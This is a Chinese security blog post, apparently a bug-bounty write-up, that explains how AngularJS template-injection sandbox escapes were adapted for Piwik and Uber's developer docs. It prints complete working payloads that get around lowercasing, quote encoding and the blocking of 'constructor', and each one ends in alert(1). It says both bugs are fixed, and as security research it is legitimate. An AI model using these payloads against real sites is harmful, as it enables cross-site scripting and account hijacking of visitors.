AngularJS模板注入:三次变形实战

admin 2026-09-15 04:51:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文以piwik和uber等真实目标为例,详解angularjs模板注入的payload改造实战,应对输入转小写、引号被编码、constructor被禁用等限制,通过unicode转义、tostring、anchor等方法绕过沙箱,强调限制即提示、处理顺序差异、自造字面量等实战经验,并提醒漏洞已修复、仅限授权测试。 综合评分: 88 文章分类: web安全,漏洞分析,渗透测试,实战经验


AngularJS 模板注入:三次变形实战

原创

升斗安全XiuXiu 升斗安全XiuXiu

升斗安全

2026年9月12日 00:29 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

【文章说明】

  • 目的:本文内容仅为网络安全技术研究与教育目的而创作。
  • 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
  • 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
  • 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

📌 这篇讲什么:教科书里的 payload 打不进真实世界——这是每个挖过洞的人都懂的痛。这篇文章我拿两个真实目标(Piwik 和 Uber)当样本,完整走一遍 Angular 模板注入的 payload 改造过程:输入被转小写怎么办、引号被浏览器编码了怎么办、constructor 被 Angular 禁掉了怎么办。看完你会明白,沙箱从来不是终点,它只是提示你换个姿势。


一、先说句实话:payload 是从来不能直接用的一等公民

干这行久了你会发现,XSS 这三个字母背后压根不是”贴一段弹窗代码”这么简单。

过滤、编码、浏览器怪癖、WAF——这四样东西平时各忙各的,一旦联手,就能把一段在 jsFiddle 里跑得好好的 payload 变成一坨字符串。AngularJS 模板注入更是重灾区,因为它身处一个”半个沙箱”里,能用的东西本来就被砍了一刀。

所以今天不讲原理,讲改造。

下面三个场景,全部来自真实目标。我们一个一个拆。

二、第一关:Piwik,输入被转小写了 🔍

Piwik 是个开源的分析平台,下载量 270 万次,用着 AngularJS 1.2.26,功能上会把访客的搜索关键词显示出来。

入口找得挺顺:伪造一个来自 Google 的 Referer,就能把带着 Angular 表达式的关键词塞进去。

然后我掏出了 1.2.26 对应的沙箱逃逸,然后——没响。

{{'a'.constructor.prototype.charAt=''.valueOf;$eval(”x='”+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+”'”);}}

原因不复杂:Piwik 会把输入整体转成小写。

这一转,两处关键都被废了:

  • charAt变成了charat,原型上的那个方法再也覆盖不到;
  • valueOf变成了valueof,压根调用不到。

遇到”小写化”这种限制,脑子里要立刻弹出一句话:JS 的解析发生在你的字符串被处理之前还是之后?

答案是:\uXXXX 这种 Unicode 转义,是在 JS词法分析阶段就被还原的。也就是说,我写 \u0041,源码里是 \u0041,但到了引擎眼里它就是个大写的 A。而 toLowerCase() 处理的是源码字符,它看 \u0041 是六个 ASCII 字符,转小写也还是 \u0041——因为这里压根没有大写字母。

于是第一处破解:

'a'.constructor.prototype['char\u0041t']

第二处更简单——valueOf 被小写化搞死了,那就换个全小写的替代品。我用了 ”.concat;:

'a'.constructor.prototype['char\u0041t']=''.concat;

拼起来就是最终形态:

{{'a'.constructor.prototype['char\u0041t']=''.concat;$eval(”x='”+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+”'”);}}

这洞有多疼?未认证的攻击者注入一段 payload,就能劫持任何看到这个页面的人的账户。如果撞上管理员,接下去就是装恶意模块、拿 Web 服务器权限这条老路。修复版本是 Piwik 2.16.1。

三、第二关:Uber,引号根本传不进去 💥

第二个目标是 Uber。

Uber 的开发者平台 developer.uber.com 允许开发者提交和管理应用,文档部分托管在第三方 readme.io 上(developer.uber.com/docs/)。这个站点用了 AngularJS,并且把当前 URL 通过服务端模板反射进页面——注意关键词,它没有先做 URL 解码。

听起来很有戏,但现实给了两记闷棍:

第一,引号进不来。Firefox 和 Chrome 都会主动把引号、撇号做 URL 编码。你想要一个跨浏览器的 payload(以及一份像样的赏金),就得想办法在没有引号的前提下拿到字符串。

第二,空格也不行。不管哪个浏览器,都不能用。

没有引号,就没有字符串字面量;没有字符串字面量,常规写法全废。

解法藏在一个谁都见过的东西里:toString。

{{     ({}.toString()).constructor.prototype.charAt=[].join;      $eval(({}.toString()).constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47))     }}

思路是这样的——

({}.toString()) 会生成字符串 [object Object]。有了字符串实例,就能顺着 .constructor 摸到 String 构造器;有了 String,就能调用 fromCharCode,用数字把任意字符拼出来。

那串数字解出来,是 x=1 后面跟几个右花括号,再接 alert(1)//。熟悉模板注入的人一眼就懂:前半段负责提前闭合 Angular 的表达式,后半段 // 把尾巴上多余的东西全注释掉。数字不需要引号,这就是它存在的全部意义。

挖洞好基友给了一个更短的版本,把对象字面量也去掉了:

{{      x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat;      $eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47))      }}

喜欢打代码高尔夫的朋友还能再压一压,但这活儿到此为止已经够用了。

顺带夸一句:Uber 和 readme.io 从我提交到修完,24 小时不到。这个响应速度,在乙方报告堆里属于让人想给他们鼓掌的级别。

四、第三关:引号不给,constructor 也不给 🧩

故事要是到这儿就结束,那就太温柔了。

Uber 用的是Angular 1.2.0,这个版本干了一件事:它禁止你用 obj.constructor 这种常规属性访问去拿构造器。

但——obj[‘constructor’] 这种方括号访问,它管不着。

于是我撞上了安全研究里最经典的一种窘境:先有鸡还是先有蛋。

  • 我要调 fromCharCode,得先有 String 构造器;
  • 要拿 String 构造器,得先有字符串 "constructor"
  • 要造出这个字符串,又得先有 fromCharCode

转圈了。。。

那就换个思路:不能用 + 拼接字符串,不能用引号,那就用数组,用现成的对象当字符矿。

我特别喜欢这个类比:这几乎就是一种扭曲的 ROP。ROP 是在别人的代码里捡零件拼出自己的逻辑,这里是在别人的返回值里捡字符拼出自己的字符串。

第一步,拿当前作用域对象的 toString:

o=toString();  // [object Object]

它给了我们 [object Object],里面有 c、o、t 这些字符。

但”n”怎么办?Angular 对 undefined 相当宽容,你没法把 undefined 对象转成字符串。破解办法是 anchor 这个老古董方法——它会生成一段 HTML,而这段 HTML 里带着我们要的字母:

t=o.anchor(true); &nbsp; // <a name=”true”>[object Undefined]</a> &nbsp; &nbsp; &nbsp;f=o.anchor(false);

true 的 anchor 里有 t/r/u/n,false 的 anchor 里能找到 s。够了。接下来就是按索引一个个抠字:

| 取值 | 字符 | 来源 | | — | — | — | | o[5] | c | [object Object] | | o[1] | o | [object Object] | | t[3] | n | <a name="true"> | | f[12] | s | <a name="false"> | | t[9] | t | <a name="true"> | | t[10] | r | 同上 | | t[11] | u | 同上 | | t[9] | t | 同上 | | o[1] | o | [object Object] | | t[10] | r | 同上 |

c=[]; &nbsp; &nbsp; &nbsp;o=toString();&nbsp;t=o.anchor(true);f=o.anchor(false); &nbsp;c.push(o[5]); c.push(o[1]); c.push(t[3]); c.push(f[12]); &nbsp;c.push(t[9]); c.push(t[10]); c.push(t[11]); c.push(o[5]);c.push(t[9]); c.push(o[1]); c.push(t[10]);

最后一个小麻烦:字符要拼起来,但 join 需要一个空字符串当分隔符,而引号我是没有的。

答案是用数组字面量[]顶替空字符串——它被当分隔符时,效果一模一样。

a=c.join([]); &nbsp;// ”constructor”

拿到 “constructor” 之后,鸡生蛋的死结就解开了。后面接上针对 1.2.0 的那套利用,把字符串喂进去,完整 exploit 长这样:

{{ &nbsp; &nbsp; &nbsp;c=[]; &nbsp; &nbsp;o=toString();&nbsp;t=o.anchor(true);f=o.anchor(false);c.push(o[5]);c.push(o[1]);c.push(t[3]);c.push(f[12]);c.push(t[9]);c.push(t[10]);c.push(t[11]);c.push(o[5]);c.push(t[9]);c.push(o[1]);c.push(t[10]);a=c.join([]);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[c.join([])].fromCharCode(97,108,101,114,116,40,49,41))()}}

最后那行看着唬人,其实就三步:用 b[a](也就是 b[‘constructor’])绕过 Angular 的属性拦截,再用 getOwnPropertyDescriptor 去原型上把 Function 构造器挖出来,最后用 call.call 这套双 call 老把戏把它调起来,参数就是 fromCharCode(97,108,101,114,116,40,49,41)——也就是 alert(1)。

五、猎人笔记:这几条比 payload 值钱 🧠

做点实战经验分享,也是我这些年反复被环境教做人的几条:

  1. 限制不是句号,是提示。”被转小写了””引号被编码了””constructor 被禁了”——每一条都在告诉你对手的规则长什么样。规则一旦明确,绕过就只是时间问题。

  2. 搞清楚谁先动手。Piwik 那一关的核心,是弄明白 Unicode 转义在词法阶段就被还原,而 toLowerCase 处理的是源码字符。很多绕过,本质上都是”处理顺序”的差异。WAF、解码器、模板引擎、JS 引擎,谁先谁后,永远是第一顺位的排查项。

  3. 没有字面量,就自己造字面量。toString()、anchor()、[object Object]、数组索引——这些在别人眼里是返回值,在你眼里应该是字符矿。ROP 的思维在 JS 里一样好使。

  4. 浏览器差异决定 payload 的身价。Chrome 和 Firefox 会不会给你编码引号,直接决定了你这份报告的适用范围。只在一个浏览器里能跑的 payload,和跨浏览器通用的 payload,赏金报价从来不是一个数。

  5. 版本号就是路线图。1.2.0 和 1.2.26 的沙箱逃逸完全不是一回事。看到目标的第一眼,先确认版本,再去找对应的公开利用,能省下大半天。

  6. 老 payload 别删。Uber 这关用的 anchor(),是个几乎被遗忘的 DOM 时代遗物。它在你的日常代码里早就绝迹了,但在攻击面上,它一直都在。

最后说句想了很久的话:即使身处 JavaScript 沙箱,你也远没有到无路可走的地步。上面这些技术不是答案,是地基——真正的活儿,是你拿着它们去对付下一个环境里那些从没人见过的限制。

六、几句说明 ⚠️

本文涉及的两个漏洞均已修复(Piwik ≥ 2.16.1,Uber/readme.io 已于报告后 24 小时内修补),技术细节仅用于安全研究与授权测试。看思路,别照抄 payload 去扫站。


写到这里,照例求个三连。

这篇从翻旧报告到把字符索引一个个对完,花了我大半个晚上。如果它让你下次遇到”引号被过滤了”的时候,脑子里能多弹出一个”那就自己造”,那这几个小时就没白花。

  • 觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到;
  • 顺手**「转发」**给群里那几个还在跟 Angular 老站点较劲的兄弟,他们大概率用得上;
  • 还没**「关注」**的朋友点个关注,压箱底的绕过笔记我会陆续整理发出来,只发在这里;
  • 也欢迎**「推荐」**给身边做安全、做前端的朋友,一起少写点会被打脸的过滤规则。

渗透测试 #XSS #AngularJS #模板注入 #赏金猎人 #Web安全 #漏洞挖掘 #经验分享 #沙箱逃逸 #前端安全


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:升斗安全 升斗安全XiuXiu 升斗安全XiuXiu《AngularJS 模板注入:三次变形实战》

评论:0   参与:  0